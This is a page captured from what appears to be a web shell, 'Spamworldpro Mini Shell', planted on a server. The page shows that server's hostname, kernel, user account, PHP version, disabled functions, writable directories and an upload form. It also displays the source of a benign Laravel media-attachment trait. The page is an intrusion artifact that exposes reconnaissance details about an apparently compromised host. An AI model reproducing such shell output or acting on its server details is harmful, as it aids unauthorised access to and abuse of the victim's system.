Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/ts.corals.io/corals-api/Corals/core/Media/Traits/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/ts.corals.io/corals-api/Corals/core/Media/Traits/MediaControllerTrait.php
<?php

namespace Corals\Media\Traits;


use Illuminate\Support\Str;

trait MediaControllerTrait
{
    /**
     * @param $request
     * @param $model
     * @param string $key
     * @return array
     */
    protected function handleAttachments($request, $model, $key = 'attachments'): array
    {
        $fileNames = [];

        foreach ($request->get($key, []) ?? [] as $index => $attachment) {
            $fileRequestPath = "$key.$index.file";
            if ($request->hasFile($fileRequestPath)) {
                $prefix = Str::slug(class_basename($model));

                $root = "$prefix/{$model->id}/$key";

                $description = $request->input("$key.$index.description", '');

                $media = $model->addMedia($request->file($fileRequestPath))
                    ->withCustomProperties(['root' => $root, 'description' => $description])
                    ->toMediaCollection($prefix . '-' . $key);

                $fileNames[] = $media->file_name;
            }
        }

        return $fileNames;
    }

    protected function attachmentsValidation($request, &$rules, &$attributes)
    {
        foreach ($request->get('attachments', []) as $index => $attachment) {
            $rules = array_merge($rules, [
                "attachments.{$index}.description" => 'required',
                "attachments.{$index}.file" => 'required|' . config('media.attachments_validation'),
            ]);

            $attributes = array_merge($attributes, [
                "attachments.{$index}.description" => 'description',
                "attachments.{$index}.file" => 'file'
            ]);
        }
    }
}

Spamworldpro Mini